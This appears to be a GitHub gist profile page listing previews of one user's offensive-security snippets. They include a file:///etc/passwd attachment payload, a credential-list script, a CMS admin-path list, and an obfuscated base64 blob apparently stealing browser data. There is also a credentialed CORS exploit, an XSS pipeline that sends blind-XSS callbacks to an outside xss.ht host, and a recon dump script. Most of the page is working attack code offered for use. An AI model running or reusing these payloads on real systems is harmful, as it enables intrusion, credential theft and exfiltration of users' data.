Skip to content

Instantly share code, notes, and snippets.

View scumdestroy's full-sized avatar
⛓️
Blood of heroes is closer to the Lord than ink of scholars or prayers of pious.

Jann Moon scumdestroy

⛓️
Blood of heroes is closer to the Lord than ink of scholars or prayers of pious.
View GitHub Profile
<link rel=attachment href=”file:///etc/passwd”>
import sys
import base64
if len(sys.argv) != 3:
print("Usage: python script.py users_file passwords_file")
sys.exit(1)
users_filename = sys.argv[1]
passwords_filename = sys.argv[2]
#!/bin/sh
# Hey there my friend. If you are not JANN, you will likely need to update this script with the location of discraper.py
# May this tool help you be two shakes of a lamb's tail lazier and leave a little more room in your mind for remembering statistics about CENSOREDINFORMATION for your grocery store cashiers
if [ -z "$1" ]; then
echo "Please provide a URL as an argument."
exit 1
fi
WordPress: /wp-admin
Drupal: /admin
Joomla: /administrator
Magento: /admin
Concrete5: /dashboard
SilverStripe: /admin
Textpattern: /textpattern
MODX: /manager
Radiant CMS: /admin
Contao: /contao
@scumdestroy
scumdestroy / search-n-squeal.sh
Created February 19, 2024 16:10
Search'N'Squeal : Bash script that searches a list of dorks on Github and notifies if new search result has appeared
#!/bin/sh
# func to do the search w/ curl
# syntax `perform_search anti-fur_APIKEY gh_APIKEYAPIKEYAPIKEY`
perform_search() {
local search_term="$1"
local api_key="$2"
curl -s -H "Authorization: token $api_key" "https://api.github.com/search/repositories?q=$search_term" | jq '.items[].html_url'
}
$browserdata = "==QKoU2cvx2QuMEZVNGejRUMsVmTzREbOtGN0R2Z1NXSpFEMsh3TTNnaLdjYURHZz4mWURXTwQzQ3tWUwdFa5ZGajB1VGZHb4I3SpN1UyxkY1VXW2gkSPVnQ2AXaDFDNPVzaXxkeLZlU3ZGRzRHepFmci1GekBFMxYVW4Yld1x0NuZnc3IWW1FTU0o0ZqdEaDJlVJVkeWh1REplZ05Ua2k3QoB1U2oGdiRmTO5kTWVHTLl2QZpWOHpmTnlDbsp1dZFVZ3h3Zod2UmFEaLN2SN5UQHxkTK1mdipGZBh2MWBVQJh1SzZTTx50cSVmbDFFZrhEN2cVY5h0NVJla48WNVpXN2A3YxE1aJZ2arpXdChTYwgjb5ZFbhpmSklTNOJGdKlmewEXS4BDRzZHa4lzbXpkNxRVY3FmMRZkYadlZ4gmVxYTOJt0batkQ3F0VWFWU3MzazcDb4lnMD9kQE9GTVJmULNDSpFnToZVQ0kXRtp2UzMTYLBnY2lnVDxUezIjWIdWVWp1dI10b6hDd3tGSnF3VMdDdkFTNvZWdUpkb3UGTB5kV3gFO2JEcZNlayFWV65UZ2tUM0knRMVEcq1mNWpGVpVGbRl3dWhUQmV3S1R0Y5J0dN1mZwNWeGRXYrd1b3RiCgAiCN0nCNkCKoNXdsZkLr5mNBFVQ1kkVSJVehJFeL9mezJHSmlnaClmS2hDSUdDM0YlYvd2bBZ0c25mc2RFM1lTczNmQYZnVIlGRmdnUPFmUYpVMHRCIgACIgoQDp8WO4NTMZJUd2EFS540N1EDdiZEd4NENSdkTxImYzcWbBN3cPFFSNhTQkZ2RUdkb5I0M1p2TGhnTVhmVCRjWMdGdyJWbq5GaPx2cMNjaxZGTQV3N2ZXTxYVMVBTNj1mcWtWNo1UOjNXULlWRitEbyoGeHFUby82QpVVcpRzcwN1S1U3ZTVWR15GNJZTNxRDZZNXSZpWdsJVNlFEWWVENTNkM5pmM4Z0MzNDMOlXV3d1MzoVY
@( 46, 62, 65, 112, 64, 111, 111, 110, 59, 66, 107, 60, 67, 67, 61, 65, 107, 65, 59, 66, 59, 65, 60, 112, 61, 108, 107, 108, 61, 67, 108, 64, 110, 66, 108, 64, 66, 112, 62, 64, 109, 110, 62, 64, 65, 61, 62, 110, 60, 60, 60, 65, 67, 61, 110, 112, 109, 63, 59, 108, 61, 67, 61, 63, 66, 71, 49, 90, 49, 53, 49, 93, 42, 49, 69, 46, 62, 65, 66, 60, 63, 62, 62, 109, 109, 67, 61, 109, 58, 112, 108, 63, 58, 111, 58, 61, 109, 108, 112, 65, 64, 62, 107, 63, 62, 64, 67, 61, 109, 66, 111, 61, 108, 58, 65, 63, 109, 107, 65, 64, 61, 112, 61, 112, 110, 108, 108, 67, 110, 111, 67, 63, 108, 59, 61, 61, 58, 111, 63, 109, 62, 62, 108, 112, 63, 63, 59, 60, 61, 61, 63, 109, 107, 107, 63, 59, 62, 62, 60, 112, 59, 107, 59, 63, 67, 110, 66, 66, 65, 65, 108, 107, 59, 65, 67, 107, 107, 63, 60, 64, 66, 64, 60, 62, 110, 62, 60, 58, 58, 107, 59, 110, 59, 65, 58, 109, 66, 67, 61, 107, 110, 64, 61, 109, 71, 49, 64, 49, 53, 44, 44, 53, 49, 64, 49, 53, 44, 44, 53, 44, 44, 53, 44, 44, 53, 44, 44, 53, 44, 44, 53, 44, 44, 53, 44, 44, 53, 44, 44,
@scumdestroy
scumdestroy / xcorsx.html
Created November 30, 2023 10:18
xcorsx.html
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
alert(xhr.responseText);
}
}
http://xhr.open('GET', 'http://targetapp/api/v1/user', true);
xhr.withCredentials = true;
xhr.send(null);
@scumdestroy
scumdestroy / quixss.sh
Created April 5, 2022 07:36
Quick XSS Witch Hunt
#/bin/bash
hakrawler -url "${1}" -plain -usewayback -wayback | grep "${1}" | grep "=" | egrep -iv ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff
|woff2|ico|pdf|svg|txt|js)" | qsreplace -a | kxss | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | dalfox pipe -b https://scumde
stroy.xss.ht
@scumdestroy
scumdestroy / osmeedy.sh
Created April 5, 2022 07:01
Osmedeus All Info Grabber - Bash script
#!/bin/sh
echo "\nTIME TO DROP OSBOMBS ON YOU, BOYEEEEEE\n»»————- ☠ ————-««\n""
echo "HERE COME DA ASSETS\n»»————- ☠ ————-««\n"
assets
cat "/root/.osmedeus/storages/$1/assets/*" | tee ~/opps/osmedeus-$1
echo "\n\n HTTP OK THEN \n»»————- ☠ ————-««\n"
cat "/root/.osmedeus/storages/$1/http/*" | tee -a ~/opps/osmedeus-$1